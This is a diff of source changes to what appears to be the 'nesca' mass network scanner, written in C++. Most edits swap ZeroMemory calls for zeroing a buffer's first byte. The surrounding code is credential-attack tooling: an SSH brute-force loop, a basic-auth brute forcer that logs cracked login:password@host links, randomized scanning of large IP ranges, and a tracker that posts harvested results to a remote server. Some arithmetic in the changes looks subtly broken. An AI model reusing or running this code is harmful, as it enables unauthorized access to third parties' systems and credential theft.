sprintf(saveStr, "[MAXBTHR]: %d\n", gMaxBrutingThreads);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
sprintf(saveStr, "[SYSTEMPROXYIP]: %s\n", gProxyIP);
|
sprintf(saveStr, "[SYSTEMPROXYIP]: %s\n", gProxyIP);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
sprintf(saveStr, "[SYSTEMPROXYPORT]: %s\n", gProxyPort);
|
sprintf(saveStr, "[SYSTEMPROXYPORT]: %s\n", gProxyPort);
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
strcpy(saveStr, "[PERSKEY]:");
|
strcpy(saveStr, "[PERSKEY]:");
|
||||||
strncat(saveStr, trcPersKey, 32);
|
strncat(saveStr, trcPersKey, 32);
|
||||||
strcat(saveStr, "\n");
|
strcat(saveStr, "\n");
|
||||||
strcat(saveBuffer, saveStr);
|
strcat(saveBuffer, saveStr);
|
||||||
ZeroMemory(saveStr, sizeof(saveStr));
|
//ZeroMemory(saveStr, sizeof(saveStr));
|
||||||
|
saveStr[0] = 0;
|
||||||
|
|
||||||
std::string finalSaveStr(saveBuffer);
|
std::string finalSaveStr(saveBuffer);
|
||||||
std::ofstream file("restore");
|
std::ofstream file("restore");
|
||||||
if (finalSaveStr.size() > 0) file << finalSaveStr;
|
if (finalSaveStr.size() > 0) file << finalSaveStr;
|
||||||
ZeroMemory(saveBuffer, strlen(saveBuffer));
|
//ZeroMemory(saveBuffer, sizeof(saveBuffer));
|
||||||
|
saveBuffer[0] = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool saverRunning = false;
|
bool saverRunning = false;
|
||||||
@ -532,7 +558,8 @@ void _tracker() {
|
|||||||
if (!globalScanFlag && jsonArr->size() == 0) break;
|
if (!globalScanFlag && jsonArr->size() == 0) break;
|
||||||
char rBuffT[250000] = { 0 };
|
char rBuffT[250000] = { 0 };
|
||||||
char *msg = new char[4096];
|
char *msg = new char[4096];
|
||||||
ZeroMemory(msg, sizeof(*msg));
|
//ZeroMemory(msg, sizeof(*msg));
|
||||||
|
msg[0] = 0;
|
||||||
char ndbServer[64] = { 0 };
|
char ndbServer[64] = { 0 };
|
||||||
char ndbScriptT[64] = { 0 };
|
char ndbScriptT[64] = { 0 };
|
||||||
char ndbScript[64] = { 0 };
|
char ndbScript[64] = { 0 };
|
||||||
@ -573,7 +600,8 @@ void _tracker() {
|
|||||||
continue;
|
continue;
|
||||||
};
|
};
|
||||||
|
|
||||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
//ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||||
|
rBuffT[0] = 0;
|
||||||
char rBuff[512] = { 0 };
|
char rBuff[512] = { 0 };
|
||||||
int test = recv(sock, rBuff, sizeof(rBuff), 0);
|
int test = recv(sock, rBuff, sizeof(rBuff), 0);
|
||||||
strcpy(rBuffT, rBuff);
|
strcpy(rBuffT, rBuff);
|
||||||
@ -673,7 +701,8 @@ void _tracker() {
|
|||||||
continue;
|
continue;
|
||||||
};
|
};
|
||||||
|
|
||||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
//ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||||
|
rBuffT[0] = 0;
|
||||||
CSSOCKET(sock);
|
CSSOCKET(sock);
|
||||||
|
|
||||||
while (true)
|
while (true)
|
||||||
@ -725,7 +754,8 @@ void _tracker() {
|
|||||||
};
|
};
|
||||||
|
|
||||||
msg = new char[r.size() + 1024];
|
msg = new char[r.size() + 1024];
|
||||||
ZeroMemory(msg, sizeof(*msg));
|
//ZeroMemory(msg, sizeof(*msg));
|
||||||
|
msg[0] = 0;
|
||||||
|
|
||||||
strcpy(msg, "POST /");
|
strcpy(msg, "POST /");
|
||||||
strcat(msg, ndbScript);
|
strcat(msg, ndbScript);
|
||||||
@ -782,7 +812,8 @@ void _tracker() {
|
|||||||
continue;
|
continue;
|
||||||
};
|
};
|
||||||
|
|
||||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
//ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||||
|
rBuffT[0] = 0;
|
||||||
char msgR[32] = { 0 };
|
char msgR[32] = { 0 };
|
||||||
|
|
||||||
if (gDebugMode)
|
if (gDebugMode)
|
||||||
@ -847,9 +878,12 @@ void _tracker() {
|
|||||||
stt->doEmitionYellowFoundData("[NS-Track] FAIL! An error occured [" + QString(msgR) + "]");
|
stt->doEmitionYellowFoundData("[NS-Track] FAIL! An error occured [" + QString(msgR) + "]");
|
||||||
};
|
};
|
||||||
|
|
||||||
ZeroMemory(msgR, sizeof(msgR));
|
msgR[0] = 0;
|
||||||
|
rBuffT[0] = 0;
|
||||||
|
msg[0] = 0;
|
||||||
|
/*ZeroMemory(msgR, sizeof(msgR));
|
||||||
ZeroMemory(rBuffT, sizeof(rBuffT));
|
ZeroMemory(rBuffT, sizeof(rBuffT));
|
||||||
ZeroMemory(msg, sizeof(*msg));
|
ZeroMemory(msg, sizeof(*msg));*/
|
||||||
|
|
||||||
if (msg != NULL)
|
if (msg != NULL)
|
||||||
{
|
{
|
||||||
@ -934,12 +968,74 @@ void MainStarter::startIPScan(){
|
|||||||
std::vector<std::string> ipVec;
|
std::vector<std::string> ipVec;
|
||||||
struct in_addr tAddr;
|
struct in_addr tAddr;
|
||||||
|
|
||||||
for (unsigned long i = ip1; i <= ip2; ++i) {
|
unsigned long offset = ip2 - ip1;
|
||||||
|
unsigned int limit = 0;
|
||||||
|
|
||||||
|
if (0 == offset) {
|
||||||
|
tAddr.s_addr = ntohl(ip1);
|
||||||
|
ipVec.push_back(inet_ntoa(tAddr));
|
||||||
|
++indexIP;
|
||||||
|
|
||||||
|
strcpy(currentIP, ipVec[0].c_str());
|
||||||
|
ipVec.erase(ipVec.begin());
|
||||||
|
verboseProgress(gTargets);
|
||||||
|
|
||||||
|
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
if (offset < 1000) {
|
||||||
|
limit = 1;
|
||||||
|
}
|
||||||
|
else if (offset < 10000){
|
||||||
|
limit = 10;
|
||||||
|
}
|
||||||
|
else if (offset < 100000){
|
||||||
|
limit = 100;
|
||||||
|
}
|
||||||
|
else if (offset < 1000000){
|
||||||
|
limit = 1000;
|
||||||
|
}
|
||||||
|
else if (offset < 10000000){
|
||||||
|
limit = 10001;
|
||||||
|
}
|
||||||
|
else if (offset < 100000000){
|
||||||
|
limit = 100011;
|
||||||
|
}
|
||||||
|
else if (offset < 5000000000){
|
||||||
|
limit = 1000111;
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned long long int firstLoopLimit = (limit == 1 ? ip1 : ip1 + (long long)limit);
|
||||||
|
|
||||||
|
for (unsigned long i = ip1; i <= firstLoopLimit; ++i) {
|
||||||
if (!globalScanFlag) break;
|
if (!globalScanFlag) break;
|
||||||
unsigned long offset = ip2 - i;
|
|
||||||
|
|
||||||
tAddr.s_addr = ntohl(i);
|
unsigned long long curIP = i;
|
||||||
|
while (curIP <= ip2) {
|
||||||
|
tAddr.s_addr = ntohl(curIP);
|
||||||
|
ipVec.push_back(inet_ntoa(tAddr));
|
||||||
|
|
||||||
|
curIP += (long long)limit;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::random_shuffle(ipVec.begin(), ipVec.end());
|
||||||
|
while (ipVec.size() != 0) {
|
||||||
|
|
||||||
|
while (cons >= gThreads && globalScanFlag) Sleep(500);
|
||||||
|
if (!globalScanFlag) goto haters_gonna_hate_IPM;
|
||||||
|
|
||||||
|
++indexIP;
|
||||||
|
|
||||||
|
strcpy(currentIP, ipVec[0].c_str());
|
||||||
|
ipVec.erase(ipVec.begin());
|
||||||
|
verboseProgress(gTargets);
|
||||||
|
|
||||||
|
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/*tAddr.s_addr = ntohl(i);
|
||||||
ipVec.push_back(inet_ntoa(tAddr));
|
ipVec.push_back(inet_ntoa(tAddr));
|
||||||
|
|
||||||
if (ipVec.size() >= (offset < 10000 ? offset : 10000)) {
|
if (ipVec.size() >= (offset < 10000 ? offset : 10000)) {
|
||||||
@ -958,6 +1054,7 @@ void MainStarter::startIPScan(){
|
|||||||
|
|
||||||
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
Threader::fireThread(currentIP, (void*(*)(void))_connect);
|
||||||
}
|
}
|
||||||
|
}*/
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -1028,7 +1125,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
|
|||||||
int szMask = strlen(mask);
|
int szMask = strlen(mask);
|
||||||
int szOffset = startPosition + 2;
|
int szOffset = startPosition + 2;
|
||||||
if (szMask != szOffset) strcpy(maskEnd, strstr(mask, "]") + 1);
|
if (szMask != szOffset) strcpy(maskEnd, strstr(mask, "]") + 1);
|
||||||
else ZeroMemory(maskEnd, sizeof(maskEnd));;
|
else maskEnd[0] = 0;
|
||||||
|
|
||||||
char maskSaver[128] = { 0 };
|
char maskSaver[128] = { 0 };
|
||||||
if (firstPos != -1 && secondPos != -1)
|
if (firstPos != -1 && secondPos != -1)
|
||||||
@ -1047,8 +1144,10 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
|
|||||||
|
|
||||||
if (_GetDNSFromMask(maskRes, maskSaver, maskEnd) == -1) return -1;
|
if (_GetDNSFromMask(maskRes, maskSaver, maskEnd) == -1) return -1;
|
||||||
|
|
||||||
ZeroMemory(maskSaver, sizeof(maskSaver));
|
maskSaver[0] = 0;
|
||||||
ZeroMemory(maskRes, sizeof(maskRes));
|
maskRes[0] = 0;
|
||||||
|
/*ZeroMemory(maskSaver, sizeof(maskSaver));
|
||||||
|
ZeroMemory(maskRes, sizeof(maskRes));*/
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
@ -42,9 +42,11 @@ public:
|
|||||||
indexIP = 0;
|
indexIP = 0;
|
||||||
flCounter = 0;
|
flCounter = 0;
|
||||||
gflIndex = 0;
|
gflIndex = 0;
|
||||||
|
/*
|
||||||
ZeroMemory(ipsstart, sizeof(ipsstart));
|
ZeroMemory(ipsstart, sizeof(ipsstart));
|
||||||
ZeroMemory(ipsend, sizeof(ipsend));
|
ZeroMemory(ipsend, sizeof(ipsend));*/
|
||||||
|
ipsstart[0] = 0;
|
||||||
|
ipsend[0] = 0;
|
||||||
}
|
}
|
||||||
~MainStarter(){
|
~MainStarter(){
|
||||||
FileUpdater::FUClear();
|
FileUpdater::FUClear();
|
||||||
|
10
SSHAuth.cpp
10
SSHAuth.cpp
@ -5,7 +5,6 @@ int _sshConnect(const char *user, const char *pass, const char *host, int port)
|
|||||||
|
|
||||||
CURL *curl = curl_easy_init();
|
CURL *curl = curl_easy_init();
|
||||||
char hostStr[128] = {0};
|
char hostStr[128] = {0};
|
||||||
ZeroMemory(hostStr, sizeof(hostStr));
|
|
||||||
strcpy(hostStr, user);
|
strcpy(hostStr, user);
|
||||||
strcat(hostStr, "@");
|
strcat(hostStr, "@");
|
||||||
strcat(hostStr, host);
|
strcat(hostStr, host);
|
||||||
@ -146,9 +145,12 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
|||||||
++passCounter;
|
++passCounter;
|
||||||
|
|
||||||
res = check_ssh_pass(rowIndex, login, pass, temp, host, port, buffer, banner);
|
res = check_ssh_pass(rowIndex, login, pass, temp, host, port, buffer, banner);
|
||||||
ZeroMemory(login, sizeof(login));
|
//ZeroMemory(login, sizeof(login));
|
||||||
ZeroMemory(pass, sizeof(pass));
|
//ZeroMemory(pass, sizeof(pass));
|
||||||
ZeroMemory(temp, sizeof(temp));
|
//ZeroMemory(temp, sizeof(temp));
|
||||||
|
login[0] = 0;
|
||||||
|
pass[0] = 0;
|
||||||
|
temp[0] = 0;
|
||||||
|
|
||||||
if(res == 0)
|
if(res == 0)
|
||||||
{
|
{
|
||||||
|
41
finder.cpp
41
finder.cpp
@ -30,7 +30,8 @@ std::string toLowerStr(const char *str)
|
|||||||
if (str != NULL) {
|
if (str != NULL) {
|
||||||
int tsz = strlen(str);
|
int tsz = strlen(str);
|
||||||
char *strr = new char[tsz + 1];
|
char *strr = new char[tsz + 1];
|
||||||
ZeroMemory(strr, tsz);
|
//ZeroMemory(strr, tsz);
|
||||||
|
strr[0] = 0;
|
||||||
|
|
||||||
for (int i = 0; i < tsz; i++)
|
for (int i = 0; i < tsz; i++)
|
||||||
{
|
{
|
||||||
@ -808,7 +809,8 @@ void putInFile(int flag, const char *ip, int port, int size, const char *finalst
|
|||||||
|
|
||||||
fputsf (log, flag, msg);
|
fputsf (log, flag, msg);
|
||||||
|
|
||||||
ZeroMemory(msg, strlen(msg));
|
//ZeroMemory(msg, strlen(msg));
|
||||||
|
msg[0] = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void _specFillerBA(const char *ip, int port, const char *finalstr, const char *login, const char *pass, int flag)
|
void _specFillerBA(const char *ip, int port, const char *finalstr, const char *login, const char *pass, int flag)
|
||||||
@ -816,13 +818,34 @@ void _specFillerBA(const char *ip, int port, const char *finalstr, const char *l
|
|||||||
char log[512] = {0};
|
char log[512] = {0};
|
||||||
|
|
||||||
++PieBA;
|
++PieBA;
|
||||||
|
int offset = 0;
|
||||||
|
|
||||||
|
if (strstri(ip, "https://") != NULL) {
|
||||||
|
offset = 8;
|
||||||
|
}
|
||||||
|
else if (strstri(ip, "http://") != NULL) {
|
||||||
|
offset = 7;
|
||||||
|
}
|
||||||
|
|
||||||
if (strlen(login) > 0 || strlen(pass) > 0)
|
if (strlen(login) > 0 || strlen(pass) > 0)
|
||||||
{
|
{
|
||||||
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"%s:%s@%s:%d\"><font color=MediumSeaGreen>%s:%s@%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
if (8 == offset) {
|
||||||
login, pass, ip, port, login, pass, ip, port, finalstr);
|
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"https://%s:%s@%s:%d\"><font color=MediumSeaGreen>%s:%s@%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||||
|
login, pass, ip + offset, port, login, pass, ip + offset, port, finalstr);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"http://%s:%s@%s:%d\"><font color=MediumSeaGreen>%s:%s@%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||||
|
login, pass, ip + offset, port, login, pass, ip + offset, port, finalstr);
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"%s:%d\"><font color=MediumSeaGreen>%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
if (8 == offset) {
|
||||||
ip, port, ip, port, finalstr);
|
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"https://%s:%d\"><font color=MediumSeaGreen>%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||||
|
ip + offset, port, ip + offset, port, finalstr);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"http://%s:%d\"><font color=MediumSeaGreen>%s:%d</font></a></span> T: <font color=GoldenRod>%s</font>\n",
|
||||||
|
ip + offset, port, ip + offset, port, finalstr);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
|
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
|
||||||
@ -1228,7 +1251,7 @@ int _specBrute(const char *ip, int port,
|
|||||||
|
|
||||||
if (strcmp(lps.other, "404") == 0) {
|
if (strcmp(lps.other, "404") == 0) {
|
||||||
|
|
||||||
stt->doEmitionRedFoundData("BA - 404 <a style=\"color:#717171;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + QString(path) + "/\">" +
|
stt->doEmitionRedFoundData("BA - 404 <a style=\"color:#717171;\" href=\"" + QString(ip) + ":" + QString::number(port) + QString(path) + "/\">" +
|
||||||
QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port) + QString(path) + "</a>");
|
QString(ip).mid(0, QString(ip).indexOf("/")) + ":" + QString::number(port) + QString(path) + "</a>");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
@ -1812,11 +1835,11 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
|
|||||||
sz = ptrQuoteTemp - ptrQuote1 + 1;
|
sz = ptrQuoteTemp - ptrQuote1 + 1;
|
||||||
}
|
}
|
||||||
char *tempBuff = new char[sz + 1];
|
char *tempBuff = new char[sz + 1];
|
||||||
ZeroMemory(tempBuff, sizeof(*tempBuff));
|
//ZeroMemory(tempBuff, sizeof(*tempBuff));
|
||||||
|
tempBuff[0] = 0;
|
||||||
strncpy(tempBuff, ptrQuote1 + 1, sz);
|
strncpy(tempBuff, ptrQuote1 + 1, sz);
|
||||||
memset(tempBuff + sz, 0, 1);
|
memset(tempBuff + sz, 0, 1);
|
||||||
char delim[2] = {0};
|
char delim[2] = {0};
|
||||||
ZeroMemory(delim, 1);
|
|
||||||
delim[0] = ptrQuote1[0];
|
delim[0] = ptrQuote1[0];
|
||||||
delim[1] = '\0';
|
delim[1] = '\0';
|
||||||
|
|
||||||
|
27
nesca_3.cpp
27
nesca_3.cpp
@ -217,13 +217,18 @@ std::string ypypNunu()
|
|||||||
|
|
||||||
|
|
||||||
void _LoadPersInfoToLocalVars(int savedTabIndex) {
|
void _LoadPersInfoToLocalVars(int savedTabIndex) {
|
||||||
ZeroMemory(trcPersKey, sizeof(trcPersKey));
|
//ZeroMemory(trcPersKey, sizeof(trcPersKey));
|
||||||
|
trcPersKey[0] = 0;
|
||||||
strncpy(trcPersKey, ui->linePersKey->text().toLocal8Bit().data(), 32);
|
strncpy(trcPersKey, ui->linePersKey->text().toLocal8Bit().data(), 32);
|
||||||
memset(trcPersKey + 32, '\0', 1);
|
memset(trcPersKey + 32, '\0', 1);
|
||||||
ZeroMemory(currentIP, sizeof(currentIP));
|
currentIP[0] = 0;
|
||||||
ZeroMemory(finalIP, sizeof(finalIP));
|
finalIP[0] = 0;
|
||||||
ZeroMemory(gPorts, sizeof(gPorts));
|
gPorts[0] = 0;
|
||||||
ZeroMemory(gTLD, sizeof(gTLD));
|
gTLD[0] = 0;
|
||||||
|
//ZeroMemory(currentIP, sizeof(currentIP));
|
||||||
|
//ZeroMemory(finalIP, sizeof(finalIP));
|
||||||
|
//ZeroMemory(gPorts, sizeof(gPorts));
|
||||||
|
//ZeroMemory(gTLD, sizeof(gTLD));
|
||||||
|
|
||||||
if (savedTabIndex == 0)
|
if (savedTabIndex == 0)
|
||||||
{
|
{
|
||||||
@ -2353,8 +2358,10 @@ void setUIText(char *field, QLineEdit *qle, const char *resStr) {
|
|||||||
}
|
}
|
||||||
void RestoreSession()
|
void RestoreSession()
|
||||||
{
|
{
|
||||||
ZeroMemory(gPorts, sizeof(gPorts));
|
//ZeroMemory(gPorts, sizeof(gPorts));
|
||||||
ZeroMemory(gTLD, sizeof(gTLD));
|
//ZeroMemory(gTLD, sizeof(gTLD));
|
||||||
|
gPorts[0] = 0;
|
||||||
|
gTLD[0] = 0;
|
||||||
|
|
||||||
FILE *resFile = fopen("restore", "r");
|
FILE *resFile = fopen("restore", "r");
|
||||||
char resStr[128] = {0};
|
char resStr[128] = {0};
|
||||||
@ -2509,13 +2516,15 @@ void RestoreSession()
|
|||||||
}
|
}
|
||||||
setUIText("[MAXBTHR]:", ui->maxBrutingThrBox, resStr);
|
setUIText("[MAXBTHR]:", ui->maxBrutingThrBox, resStr);
|
||||||
setUIText("[PERSKEY]:", ui->linePersKey, resStr);
|
setUIText("[PERSKEY]:", ui->linePersKey, resStr);
|
||||||
ZeroMemory(trcPersKey, sizeof(trcPersKey));
|
//ZeroMemory(trcPersKey, sizeof(trcPersKey));
|
||||||
|
trcPersKey[0] = 0;
|
||||||
strncpy(trcPersKey, resStr, 32);
|
strncpy(trcPersKey, resStr, 32);
|
||||||
memset(trcPersKey + 32, '\0', 1);
|
memset(trcPersKey + 32, '\0', 1);
|
||||||
setUIText("[SYSTEMPROXYIP]:", ui->systemProxyIP, resStr);
|
setUIText("[SYSTEMPROXYIP]:", ui->systemProxyIP, resStr);
|
||||||
setUIText("[SYSTEMPROXYPORT]:", ui->systemProxyPort, resStr);
|
setUIText("[SYSTEMPROXYPORT]:", ui->systemProxyPort, resStr);
|
||||||
|
|
||||||
ZeroMemory(resStr, sizeof(resStr));
|
resStr[0] = 0;
|
||||||
|
//ZeroMemory(resStr, sizeof(resStr));
|
||||||
};
|
};
|
||||||
|
|
||||||
fclose(resFile);
|
fclose(resFile);
|
||||||
|
Loading…
Reference in New Issue
Block a user